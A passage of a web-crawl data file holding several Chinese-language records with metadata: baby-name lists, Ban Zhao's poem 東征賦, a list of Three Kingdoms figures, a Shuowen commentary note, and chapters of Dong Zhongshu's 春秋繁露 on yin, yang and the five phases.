卓婷 竹琼 迎夏 韵蓝 蓝珊 倩慕 楠芙 楚楚 雪韵 紫翠 悄悄 昌丽 春香 芷洁 佳欣 馨月 佳迪 卉燕 素娥 艺琼 青香 诗雨 茹美 紫芝 娅楠 黎蕾 绮菱 艺颖 静宜 惠慕 雨婷 群欣 蓉蓉 觅双 冰芍 醉蓝 川惠 凤枝 欣莲 子蝶 思莹 玉虞 翠林 可悦 思睿 依青 梓涵 思甜 晓荷 秋菊 雁菱 一苒 缘绿 菡莲 莉雅 文茜 虞花 丽薇 黛曼 静妹 凌旋 涵琦 媛嫣 凝珍 润依 宛筠 凌璐 珊兰 幼南 月爽 兰芝 旋蓉 韵琪 馨怡 欣苗 春雯 春柏 乐菱 菡兰 初翠 水月 书佳 紫超 晓蓓 雪琴 欣云 香芹 晔娟 纹芝 安南 婕雅 柳花 含雪 雪烟 梦雅 佳怡 静嘉 思妍 可昕 初南 珊静 晓荣 莉娜 关注我们的头条号,点击底部\"宝宝起名\",给宝宝起个满足的名字!\n本文来源:od体育官网-www.ahjlp.com","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/www.ahjlp.com\/tool\/93.html","date":"2021-09-19T19:47:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056900.32\/warc\/CC-MAIN-20210919190128-20210919220128-00565.warc.gz","language":"lzh","language_score":0.5549928546,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.5549928545951843, \"cmn_Hani_score\": 0.3228912651538849, \"nan_Hani_score\": 0.09873183071613312, \"jpn_Jpan_score\": 0.010510722175240517, \"yue_Hani_score\": 0.010507079772651196}","num_words":390,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.324,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.587,"perplexity_score":500.0,"cluster_detection":1} +{"text":"東征賦 (班昭)\n惟永初之有七兮,余隨子乎東征。時孟春之吉日兮,撰良辰而將行。乃舉趾而升輿兮,夕予宿乎偃師。遂去故而就新兮,志愴悢而懷悲!\n明發曙而不寐兮,心遲遲而有違。酌罇酒以弛念兮,喟抑情而自非。諒不登樔而椓蠡兮,得不陳力而相追。且從衆而就列兮,聽天命之所歸。遵通衢之大道兮,求捷徑欲從誰?乃遂往而徂逝兮,聊游目而遨魂!\n歷七邑而觀覽兮,遭鞏縣之多艱。望河洛之交流兮,看成皋之旋門。既免脫於峻嶮兮,歷滎陽而過卷。食原武之息足,宿陽武之桑間。涉封丘而踐路兮,慕京師而竊歎!小人性之懷土兮,自書傳而有焉。\n遂進道而少前兮,得平丘之北邊。入匡郭而追遠兮,念夫子之厄勤。彼衰亂之無道兮,乃困畏乎聖人。悵容與而久駐兮,忘日夕而將昏。到長垣之境界,察農野之居民。睹蒲城之丘墟兮,生荊棘之榛榛。惕覺寤而顧問兮,想子路之威神。衛人嘉其勇義兮,訖于今而稱云。蘧氏在城之東南兮,民亦尚其丘墳。唯令德為不朽兮,身既沒而名存。\n惟經典之所美兮,貴道德與仁賢。吳札稱多君子兮,其言信而有徵。後衰微而遭患兮,遂陵遲而不興。知性命之在天,由力行而近仁。勉仰高而蹈景兮,盡忠恕而與人。好正直而不回兮,精誠通於明神。庶靈祇之鑒照兮,祐貞良而輔信。\n亂曰:君子之思,必成文兮。盍各言志,慕古人兮。先君行止,則有作兮。雖其不敏,敢不法兮。貴賤貧富,不可求兮。正身履道,以俟時兮。脩短之運,愚智同兮。靖恭委命,唯吉凶兮。敬慎無怠,思嗛約兮。清靜少欲,師公綽兮。\n|本東漢作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%9D%B1%E5%BE%81%E8%B3%A6_(%E7%8F%AD%E6%98%AD)","date":"2022-08-18T22:46:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573533.87\/warc\/CC-MAIN-20220818215509-20220819005509-00649.warc.gz","language":"lzh","language_score":0.6165770292,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6165770292282104, \"cmn_Hani_score\": 0.13077154755592346, \"nan_Hani_score\": 0.09700178354978561, \"yue_Hani_score\": 0.028708072379231453, \"jpn_Jpan_score\": 0.021179813891649246, \"zxx_Latn_score\": 0.014316723681986332}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.417,"perplexity_score":500.0,"cluster_detection":1} +{"text":"史大觀看歷史大觀!\n三國 荀彧 荀攸 贾诩 郭嘉 程昱 戏志才 刘晔 蒋济 陈群 华歆 钟繇 满宠 董昭 王朗 崔琰 毛玠 杜畿 田畴 王修 杨修 辛毗 杨阜 田豫 王粲 蒯越 张继 杜袭 枣祗 任峻 陈矫 郗虑 桓玠 丁仪 丁廙 司马朗 韩暨 韦康 邴原 赵俨 娄圭 贾逵 陈琳 司马懿 张辽 徐晃 夏侯惇 夏侯渊 庞德 李通 文聘 臧霸 郭淮 钟会 邓艾 曹休 张燕 张绣 朱灵 路昭 史涣 韩浩 王凌 孙礼 秦朗 郑文 夏侯尚 毌丘俭 诸葛诞 蜀汉 孙乾 简雍 糜竺 糜芳 庞统 法正 许靖 马良 徐庶","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ortokid.ru\/w90239-video-cg4sUCXy6uBTkm_MVilWZEOSKHcAjf5c-m32583.html","date":"2023-01-27T07:20:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764494974.98\/warc\/CC-MAIN-20230127065356-20230127095356-00876.warc.gz","language":"lzh","language_score":0.5672860742,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5672860741615295, \"cmn_Hani_score\": 0.3908085227012634, \"wuu_Hani_score\": 0.024740029126405716, \"nan_Hani_score\": 0.013793486170470715}","num_words":80,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.315,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.567,"perplexity_score":500.0,"cluster_detection":1} +{"text":"黃金旣專金名。其外四者皆各有名爾雅曰。黃金謂之璗。其美者謂之鏐。然則黃金自有名。而許以璗系諸玉部。云金之美者、與玉同色。與釋器不合、何也。璗爲金、而字从玉。許書主釋字形。故其說如此也。爾雅又曰。白金謂之銀。其美者謂之鐐。此則許所本也。\n語巾切。十二部。","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.shuowen.org\/view\/9214?juanshu=14","date":"2023-02-08T20:35:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500904.44\/warc\/CC-MAIN-20230208191211-20230208221211-00160.warc.gz","language":"lzh","language_score":0.533824563,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5338245630264282, \"cmn_Hani_score\": 0.18560504913330078, \"jpn_Jpan_score\": 0.1058504730463028, \"wuu_Hani_score\": 0.07562366873025894, \"yue_Hani_score\": 0.06851546466350555}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.534,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Click on any word to see more details.為人者天第四十一\n為生不能為人,為人者,天也,人之人本於天,天亦人之曾祖父也,此人之所以乃上類天也。人之形體,化天數而成;人之血氣,化天志而仁;人之德行,化天理而義;人之好惡,化天之暖清;人之喜怒,化天之寒暑;人之受命,化天之四時;人生有喜怒哀樂之答,春秋冬夏之類也。喜,春之答也,怒,秋之答也,樂,夏之答也,哀,冬之答也,天之副在乎人,人之情性有由天者矣,故曰受,由天之號也。為人主也,道莫明省身之天,如天出之也,使其出也,答天之出四時,而必忠其受也,則堯舜之治無以加,是可生可殺而不可使為亂,故曰:非道不行,非法不言。此之謂也。\n傳曰:唯天子受命於天,天下受命於天子,一國則受命於君。君命順,則民有順命;君命逆,則民有逆命;故曰:一人有慶,兆民賴之。此之謂也。\n傳曰:政有三端:父子不親,則致其愛慈;大臣不和,則敬順其禮;百姓不安,則力其孝弟。孝弟者,所以安百姓也,力者,勉行之,身以化之。天地之數,不能獨以寒暑成歲,必有春夏秋冬;聖人之道,不能獨以威勢成政,必有教化。故曰:先之以博愛,教以仁也;難得者,君子不貴,教以義也;雖天子必有尊也,教以孝也;必有先也,教以弟也。此威勢之不足獨恃,而教化之功不大乎!\n傳曰:天生之,地載之,聖人教之。君者,民之心也,民者,君之體也;心之所好,體必安之;君之所好,民必從之。故君民者,貴孝弟而好禮義,重仁廉而輕財利,躬親職此於上而萬民聽,生善於下矣。故曰:先王見教之可以化民也。此之謂也。\n衣服容貌者,所以說目也,聲音應對者,所以說耳也,好惡去就者,所以說心也。故君子衣服中而容貌恭,則目說矣;言理應對遜,則耳說矣;好仁厚而惡淺薄,就善人而遠僻鄙,則心說矣。故曰:行思可樂,容止可觀。此之謂也。\n五行之義第四十二\n天有五行:一曰木,二曰火,三曰土,四曰金,五曰水。木,五行之始也,水,五行之終也,土,五行之中也,此其天次之序也。木生火,火生土,土生金,金生水,水生木,此其父子也。木居左,金居右,火居前,水居後,土居中央,此其父子之序,相受而布。是故木受水而火受木,土受火,金受土,水受金也。諸授之者,皆其父也;受之者,皆其子也;常因其父,以使其子,天之道也。是故木已生而火養之,金已死而水藏之,火樂木而養以陽,水剋金而喪以陰,土之事火竭其忠。故五行者,乃孝子忠臣之行也。五行之為言也,猶五行歟?是故以得辭也。聖人知之,故多其愛而少嚴,厚養生而謹送終,就天之制也。以子而迎成養,如火之樂木也;喪父,如水之剋金也;事君,若土之敬天也;可謂有行人矣。五行之隨,各如其序;五行之官,各致其能。是故木居東方而主春氣,火居南方而主夏氣,金居西方而主秋氣,水居北方而主冬氣;是故木主生而金主殺,火主暑而水主寒,使人必以其序,官人必以其能,天之數也。土居中央,為之天潤,土者,天之股肱也,其德茂美,不可名以一時之事,故五行而四時者,土兼之也,金木水火雖各職,不因土,方不立,若酸鹹辛苦之不因甘肥不能成味也。甘者,五味之本也,土者,五行之主也,五行之主土氣也,猶五味之有甘肥也,不得不成。是故聖人之行,莫貴於忠,土德之謂也。人官之大者,不名所職,相其是矣;天官之大者,不名所生,土是矣。\n陽尊陰卑第四十三\n天之大數畢於十旬,旬天地之間,十而畢反,旬生長之功,十而畢成,十者,天數之所止也。古之聖人因天數之所止以為數,紀十如更始,民世世傳之,而不知省其所起;知省其所起,則見天數之所始;見天數之所始,則知貴賤逆順所在;知貴賤逆順所在,則天地之情著,聖人之寶出矣。是故陽氣以正月始出於地,生育長養於上,至其功必成也,而積十月;人亦十月而生,合於天數也。是故天道十月而成,人亦十月而成,合於天道也。故陽氣出於東北,入於西北,於發孟春,畢於孟冬,而物莫不應是;陽始出,物亦始出;陽方盛,物亦方盛;陽初衰,物亦初衰;物隨陽而出入,數隨陽而終始;三王之正,隨陽而更起;以此見之,貴陽而賤陰也。故數日者,據晝而不據夜,數歲者,據陽而不據陰,陰不得達之義。是故春秋之於昏禮也,達宋公而不達紀侯之母,紀侯之母宜稱而不達,宋公不宜稱而達,達陽而不達陰,以天道制之也。丈夫雖賤皆為陽,婦人雖貴皆為陰;陰之中亦相為陰,陽之中亦相為陽,諸在上者皆為其下陽,諸在下者皆為其上陰,陰猶沈也,何名何有?皆并一於陽,昌力而辭功,故出雲起雨,必令從之下,命之曰天雨,不敢有其所出,上善而下惡,惡者受之,善者不受,土若地,義之至也。是故春秋君不名惡,臣不名善,善皆歸於君,惡皆歸於臣。臣之義比於地,故為人臣者,視地之事天也;為人子者,視土之事火也,雖居中央,亦歲七十二日之王,傅於火,以調和養長,然而弗名者,皆并功於火,火得以盛,不敢與父分功,美孝之至也。是故孝子之行,忠臣之義,皆法於地也,地事天也,猶下之事上也,地,天之合也,物無合會之義。是故推天地之精,鉉陰陽之類,以別順逆之理,安所加以不在?在上下,在大小,在強弱,在賢不肖,在善惡,惡之屬盡為陰,善之屬盡為陽,陽為德,陰為刑,刑反德而順於德,亦權之類也,雖曰權,皆在權成。是故陽行於順,陰行於逆;逆行而順,順行而逆者,陰也。是故天以陰為權,以陽為經;陽出而南,陰出而北;經用於盛,權用於末;以此見天之顯經隱權,前德而後刑也。故曰:陽,天之德,陰,天之刑也,陽氣暖而陰氣寒,陽氣予而陰氣奪,陽氣仁而陰氣戾,陽氣寬而陰氣急,陽氣愛而陰氣惡,陽氣生而陰氣殺。是故陽常居實位而行於盛,陰常居空位而行於末,天之好仁而近,惡戾之變而遠,大德而小刑之意也,先經而後權,貴陽而賤陰也。故陰,夏入居下,不得任歲事,冬出居上,置之空處也;養長之時伏於下,遠去之,弗使得為陽也;無事之時,起之空處,使之備次陳守閉塞也;此皆天之近陽而遠陰,大德而小刑也。是故人主近天之所近,遠天之所遠,大天之所大,小天之所小。是故天數右陽而不右陰,務德而不務刑;刑之不可任以成世也,猶陰之不可任以成歲也;為政而任刑,謂之逆天,非王道也。\n王道通三第四十四\n古之造文者,三畫而連其中,謂之王;三畫者,天地與人也,而連其中者,通其道也,取天地與人之中以為貫,而參通之,非王者庸能當是。是故王者唯天之施,施其時而成之,法其命而循之諸人,法其數而以起事,治其道而以出法,治其志而歸之於仁。仁之美者在於天,天仁也,天覆育萬物,既化而生之,有養而成之,事功無已,終而復始,凡舉歸之以奉人,察於天之意,無窮極之仁也。人之受命於天也,取仁於天而仁也,是故人之受命天之尊,父兄子弟之親,有忠信慈惠之心,有禮義廉讓之行,有是非逆順之治,文理燦然而厚,知廣大有而博,唯人道為可以參天。天常以愛利為意,以養長為事,春秋冬夏皆其用也;王者亦常以愛利天下為意,以安樂一世為事,好惡喜怒而備用也;然而主之好惡喜怒,乃天之春夏秋冬也,其俱暖清寒暑,而以變化成功也;天出此物者,時則歲美,不時則歲惡;人主出此四者,義則世治,不義則世亂,是故治世與美歲同數,亂世與惡歲同數,以此見人理之副天道也。天有寒有暑,夫喜怒哀樂之發,與清暖寒暑其實一貫也,喜氣為暖而當春,怒氣為清而當秋,樂氣為太陽而當夏,哀氣為太陰而當冬,四氣者,天與人所同有也,非人所能蓄也,故可節而不可止也,節之而順,止之而亂。人生於天,而取化於天,喜氣取諸春,樂氣取諸夏,怒氣取諸秋,哀氣取諸冬,四氣之心也。四肢之答各有處,如四時;寒暑不可移,若肢體;肢體移易其處,謂之壬人;寒暑移易其處,謂之敗歲;喜怒移易其處,謂之亂世。明王正喜以當春,正怒以當秋,正樂以當夏,正哀以當冬,上下法此,以取天之道。春氣愛,秋氣嚴,夏氣樂,冬氣哀;愛氣以生物,嚴氣以成功,樂氣以養生,哀氣以喪終,天之志也。是故春氣暖者,天之所以愛而生之,秋氣清者,天之所以嚴以成之,夏氣溫者,天之所以樂而養之,冬氣寒者,天之所以哀而藏之;春主生,夏主養,秋主收,冬主藏;生溉其樂以養,死溉其哀以藏,為人子者也。故四時之行,父子之道也;天地之志,君臣之義也;陰陽之理,聖人之法也。陰,刑氣也,陽,德氣也,陰始於秋,陽始於春,春之為言猶偆偆也,秋之為言猶湫湫也,偆偆者,喜樂之貌也,湫湫者,憂悲之狀也。是故春喜、夏樂、秋憂、冬悲,悲死而樂生,以夏養春,以冬藏秋,大人之志也。是故先愛而後嚴,樂生而哀終,天之當也;而人資諸天,天固有此,然而無所之,如其身而已矣。人主立於生殺之位,與天共持變化之勢,物莫不應天化,天地之化如四時,所好之風出,則為暖氣,而有生於俗;所惡之風出,則為清氣,而有殺於俗;喜則為暑氣,而有養長也;怒則為寒氣,而有閉塞也。人主以好惡喜怒變習俗,而天以暖清寒暑化草木,喜怒時而當,則歲美,不時而妄,則歲惡,天地人主一也。然則人主之好惡喜怒,乃天之暖清寒暑也,不可不審其處而出也,當暑而寒,當寒而暑,必為惡歲矣;人主當喜而怒,當怒而喜,必為亂世矣。是故人主之大守在於謹藏而禁內,使好惡喜怒,必當義乃出,若暖清寒暑之必當其時乃發也,人主掌此而無失,使乃好惡喜怒未嘗差也,如春秋冬夏之未嘗過也,可謂參天矣。深藏此四者而勿使妄發,可謂天矣。\n天容第四十五\n天之道,有序而時,有度而節,變而有常,反而有相奉,微而至遠,踔而致精,一而少積蓄,廣而實,虛而盈。聖人視天而行,是故其禁而審好惡喜怒之處也,欲合諸天之非其時不出暖清寒暑也;其告之以政令而化風之清微也,欲合諸天之顛倒其一而以成歲也;其羞淺末華虛而貴敦厚忠信也,欲合諸天之默然不言而功德積成也;其不阿黨偏私而美汎愛兼利也,欲合諸天之所以成物者少霜而多露也;其內自省以是而外顯,不可以不時,人主有喜怒,不可以不時,可亦為時,時亦為義,喜怒以類合,其理一也,故義不義者,時之合類也,而喜怒乃寒暑之別氣也。\n天辨在人第四十六\n難者曰:「陰陽之會,一歲再遇,遇於南方者以中夏,遇於北方者以中冬,冬,喪物之氣也,則其會於是何?」「如金木水火各奉其主,以從陰陽,相與一力而并功,其實非獨陰陽也,然而陰陽因之以起,助其所主。故少陽因木而起,助春之生也;太陽因火而起,助夏之養也;少陰因金而起,助秋之成也;太陰因水而起,助冬之藏也。陰雖與水并氣而合冬,其實不同,故水獨有喪而陰不與焉,是以陰陽會於中冬者,非其喪也。春,愛志也,夏,樂志也,秋,嚴志也,冬,哀志也,故愛而有嚴,樂而有哀,四時之則也。喜怒之禍,哀樂之義,不獨在人,亦在於天;而春夏之陽,秋冬之陰,不獨在天,亦在於人。人無春氣,何以博愛而容眾;人無秋氣,何以立嚴而成功;人無夏氣,何以盛養而樂生;人無冬氣,何以哀死而恤喪。天無喜氣,亦何以暖而春生育;天無怒氣,亦何以清而冬殺就;天無樂氣,亦何以疏陽而夏養長;天無哀氣,亦何以瞠陰而冬閉藏。故曰:天乃有喜怒哀樂之行,人亦有春秋冬夏之氣者,合類之謂也。匹夫雖賤,而可以見德刑之用矣。是故陰陽之行,終各六月,遠近同度,而所在異處。陰之行,春居東方,秋居西方,夏居空右,冬居空左,夏居空下,冬居空上,此陰之常處也;陽之行,春居上,冬居下,此陽之常處也。陰終歲四移,而陽常居實,非親陽而疏陰,任德而遠刑與!天之志,常置陰空處,稍取之以為助,故刑者,德之輔,陰者,陽之助也,陽者,歲之主也,天下之昆蟲隨陽而出入,天下之草木隨陽而生落,天下之三王隨陽而改正,天下之尊卑隨陽而序位,幼者居陽之所少,老者居陽之所老,貴者居陽之所盛,賤者居陽之所衰,藏者言其不得當陽,不當陽者,臣子是也,當陽者,君父是也。故人主南面以陽為位也,陽貴而陰賤,天之制也。禮之尚右,非尚陰也,敬老陽而尊成功也。\n陰陽位第四十七\n陽氣始出東北而南行,就其位也,西轉而北入,藏其休也;陰氣始出東南而北行,亦就其位也,西轉而南入,屏其伏也。是故陽以南方為位,以北方為休;陰以北方為位,以南方為伏。陽至其位,而大暑熱;陰至其位,而大寒凍;陽至其休,而入化於地;陰至其伏,而避德於下。是故夏出長於上,冬入化於下者,陽也;夏入守虛地於下,冬出","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/chinesenotes.com\/chunqiufanlu\/chunqiufanlu011.html","date":"2023-10-03T03:03:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511053.67\/warc\/CC-MAIN-20231003024646-20231003054646-00096.warc.gz","language":"lzh","language_score":0.4376011789,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.4376011788845062, \"cmn_Hani_score\": 0.4069395065307617, \"nan_Hani_score\": 0.11202066391706467, \"wuu_Hani_score\": 0.014066423289477825}","num_words":25,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.421,"perplexity_score":500.0,"cluster_detection":1} +{"text":"取一个好的名字,对宝宝未来的运势是非常有影响的。有一个好的名字,给人的感觉都是很好的。现在很多父母,在给宝宝取名的时候,都会跟随潮流,取一个名字里带子字的。下面是一些带子字的名字,可以供宝宝取名字时候的参考之用。\n带子男宝宝名字文雅好听:子伟 子豪 子南 子辉 子远 子博 子杰 子然 子松 子睿 子龙 子轩 子佑 子渊 子宇 子洋 子鹏 子强 子逸 子楠 子瑞 子文 子涛 子磊 子昌 子昊 子傲 子野 子德 子诚 子祺 子煊 子啸 子驰 子朋 子懿 子明 子欧 子思 子浩 子彬 子泽 子弘 子彤 子棋 子材 子瀚 子伦 子天 子楷 子宸 子霖 子瑜 子桦 子琪 子熙 子寒 子尧 子舟 子城 子超 子柏 子志 子鸿 子振 子恒 子帆 子玉 子阳 子风 子青 子影 子易 子书 子蝶 子遥 子峻 子畅 子华 子毅 子冠 子曲 子新 子庭 子锦 子益 子信 子尘 子鹤 子尚 子坚 子拓 子月 子泰 子锋 子浪 子凡 子庆 子君 子星 子温 子江 子石 子依 子邦 子皓 子若 子高 子玄 子元 子普 子雷 子辰 子东 子灿 子润 子永 子秀 子海 子韵 子乾 子国 子仕 子云 子坤 子标 子叶 子唯 子源 子康 子乐 子利 子韬 子宵 子杉 子励 子欢 子荣 子向 子扬 子景 子耀 子雨 子运 子哲 子恩 子翎 子宁 子茂 子盛 子仁 子光 子顺 子嘉 子绩 子岩 子聚 子圣 子祖 子来 子智 子民 子孝 子漾 子镜 子如 子维 子晋 子胜 子旭 子翔 子羽 子崇 子图 子承 子玮 子基 子启 子霄 子誉 子贤 子颜 子晖 子鸣 子彦 子震 子悟 子春 子波 子宏 子锐 子沙 子杭 子柯 子俊 子奇 子溪 子奥 子裕 子业 子秋 子兴 子良 子望 子潮 子铭 子道 子达 子洪 子征 子理 子鸽 子琦 子倚 子秉 子融 子宜 子日 子翰 子流 子善 子凯 子顷 子阔 子威 子枝 子西 子晨 子释 子萧 子宝 子言 子复 子雄 子鉴 子潭 子刚 子闲 子原 子靖 子知 子忠 子余 子雪 子淡 子勋 子翼 子福 子钧 子肖 子林 子笃 子璋 子白 子生 子统 子万 子闻 子亦 子轻 子树 子暖 子临 子乔 子壮 子隆 子桐 子进 子义 子谦 子泉 子韶 子烟 子清 子修 子里 子语 子均 子保 子方 子陌 子伯 子芹 子游 子瑾 子声 子壤 子名 子商 子聪 子刊 子忆 子浦 子旷 子绍 子蓝 子平 子丰 子菲 子冰 子钦 子雁 子峰 子勇 子岳 子治 子翱 子卫 子栋 子戈 子棕 子都 子彰 子喻 子建 子安 子敬 子封 子柳 子悠 子观 子苛 子鼎 子夫 子任 子享 子钱 子千 子金 子耕 子祥 子全 子瞻 子昭 子健 子冬 子合 子川 子苑 子勤 子深 子施 子慎 子年 子满 子勉 子气 子阜 子谨 子久 子豫 子折 子尊 子歌 子百 子炫 子吉 子银 子才 子耿 子照 子传 子吟 子凌","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.jiri1.com\/zixun_145298\/","date":"2023-12-07T10:28:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100651.34\/warc\/CC-MAIN-20231207090036-20231207120036-00594.warc.gz","language":"lzh","language_score":0.9955137372,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9955137372016907}","num_words":365,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.313,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"建议是 梓西闵\n男 缅谆 桓培 丁波 茗嘉 庆晋 章亨 名业 生超 维谦 剑逊 悠农 幅隐 歆科 修问 匡仁 之桧 澄翰 蒙兼 滨麟 啸先 太亮 巾辰 羿年 骞业 杉叔 睿庶 铎滔 智艺 声英 全雄 祈瑚 仁力 察望 御琢 稠诚 修宁 扬言 冠亨 涣壮 偃言 驰潮 航逸 应沃 尉阐 席鼎 滕琳 根连 选守 坚国 海吏 际德 韶弄 育迢 屏贤 晶智 征伙 汐稚 起修 厉渊 厉迪 卡泽 登世 生展 廷淮 英齐 生臣 宏兆 承古 欣景 策纹 遍敬 展柏 涧仁 旺羡 勤颜 女 嘉遥 渝芬 楚梅 耿元 耙善 蔓柳 美美 妹保 知娟 便鹃 梅园 晓铄 铃耙 玛婷 雪家 妤妡 促昕 媛传 芹璐 芸倪 茹静 情澄 柳贞 知枝 女京 毓庄 媛荣 凌纹 涣苑 雪莎 相意 婾芬 樱瑾 觅眉 青燊 察奋 春瑄 惠懿 曼妡 香迎 歆娅 孝仙 奉义 蒙妃 爱才 君纯 静茗 尉露 青莺 澜钰 齐遥 潇华 宜茹 婷昆 逞彤 眉岚 夏璐 月逞 若登 月碧 薏晓 声枚 慈秋 馨倡 棉宣 龄瑾 芸晓 白蔓 涓淦 柔琦 牵菲 申茗 勤妡 荣毓 馨石 ▆百度我昵称。","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/zhishi.zx8848.com\/?b\/gWz91lc14Gdj.html","date":"2018-12-17T10:44:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828501.85\/warc\/CC-MAIN-20181217091227-20181217113227-00018.warc.gz","language":"lzh","language_score":0.800565362,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.8005653619766235, \"cmn_Hani_score\": 0.12847845256328583, \"nan_Hani_score\": 0.028976544737815857, \"yue_Hani_score\": 0.026030169799923897, \"jpn_Jpan_score\": 0.014703365042805672}","num_words":155,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.33,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.801,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n禹雯淇 禹水云 禹水涵 禹苏涵 禹椤琪 禹璎 禹骅 禹椤 禹骄珑 禹骄 禹琬琪 禹一 禹筲琦 禹世居 禹冠环 禹茗姝 禹丞 禹亚平 禹丹丹 禹伟桃 禹学圭 禹欣盈 禹佳璐 禹嘉慧 禹佳惠 禹姝斌 禹姝彬 禹瑞雯 禹听城 禹国平 禹人萌 禹苏芸 禹苏珍 禹海妮 禹采妮 禹二月 禹知君 禹知秀 禹美向 禹家和 禹虹远 禹初贵 禹清贵 禹回香 禹紫岚 禹城国 禹华辉 禹森林 禹权 禹可阮 禹匡 禹颉酆 禹志谋 禹治谋 禹舒心 禹治欣 禹开才 禹国斌 禹微微 禹阳辉 禹兰珍 禹永磊 禹京龙 禹云志 禹廷廷 禹人铧 禹智朋 禹智尊 禹松玖 禹力 禹飞帆 禹奇果 禹美名 禹湘果 禹毅果 禹雪阳 禹卫兵 禹化锋 禹仲伟 禹卫东 禹晶贵 禹经贵 禹精贵 禹尽贵 禹进贵 禹斤贵 禹今贵 禹津贵 禹金桧 禹京贵 禹京桂 禹金桂 禹金瑰 禹闵淇 禹荃厚 禹栋厚 禹皓泉 禹权瀛 禹杰洪 禹恩思 禹家进 禹永嘉 禹乔成 禹林寻 禹彦右 禹彦左 禹清棉 禹来桥 禹林辛 禹林金 禹桥成 禹成乔 禹锌乔 禹青乔 禹鑫乔 禹森乔 禹清乔 禹林薪 禹林锌 禹林昕 禹梦馨 禹荷蕊 禹长辉 禹海全 禹金强 禹理帅 禹理邱 禹闻野 禹维鸽 禹东蕾 禹林馨 禹林歆 禹冬蕾 禹林欣 禹东雷 禹霖成 禹森成 禹晋成 禹建成 禹林森 禹林鑫 禹继 禹建平 禹牧希 禹添之 禹世浩 禹奕飞 禹志坚 禹瑞君 禹瑞佳 禹瑞环 禹晓宝 禹耀扬 禹东飞 禹明宇 禹明浩 禹志永 禹挚永 禹挚勇 禹志勇 禹亚铭 禹鸿飞 禹宏飞 禹亚君 禹亚楠 禹炙鑫 禹朝坪 禹朝伟 禹朝昀 禹瑞锋 禹瑞丰 禹挚诚 禹挚金 禹志金 禹志宝 禹钡帝 禹鑫焱 禹海东 禹颂煌 禹彬彬 禹子熙 禹子博 禹竞 禹周 禹舟 禹发强 禹桂秀 禹杏亚 禹霁真 禹天龙 禹欢芯 禹汇海 禹萄鸿 禹学善 禹淇冰 禹淼涵 禹苏淇 禹苏琪 禹诗淇 禹清涵 禹竟成 禹致远 禹日新 禹秉容 禹艳珍 禹明松 禹华波 禹舜天 禹恩赐 禹永植 禹九六 禹刚山 禹胜元 禹浩轩 禹雷云 禹夏旺 禹腊枚 禹泰永 禹佳邑 禹苏缇 禹英明 禹权恒 禹长海 禹人力 禹奋发 禹广义 禹柯坪 禹少康 禹科技 禹理嚯 禹理藿 禹攉理 禹疥酆 禹沸鲚 禹凯厅 禹掏酆 禹业凡 禹黄景 禹金贵 禹思睿 禹河川 禹淇 禹涪升 禹奎 禹文有 禹琪茗 禹灵逸 禹睿潇 禹金龟 禹宏伟 禹宏卫 禹志云 禹秀镐 禹晓安 禹金尚 禹建鼎 禹均根 禹春峰 禹玉斌 禹春怀 禹云松 禹宗谷 禹宗亨 禹思洋 禹邦杰 禹光明 禹召阳 禹公 禹绍椿 禹绍醇 禹少春 禹绍春 禹韶春 禹建宏 禹凯升 禹鲜 禹愉 禹斯 禹汐鸣 禹浠鸣 禹文凤 禹胜尧 禹钧钧 禹梦飞 禹小光 禹贵民 禹祺淼 禹祺敏 禹祺智 禹欣茁 禹忻卓 禹欣卓 禹泓卓 禹鸿卓 禹衍卓 禹绝对 禹起因 禹抄 禹闯 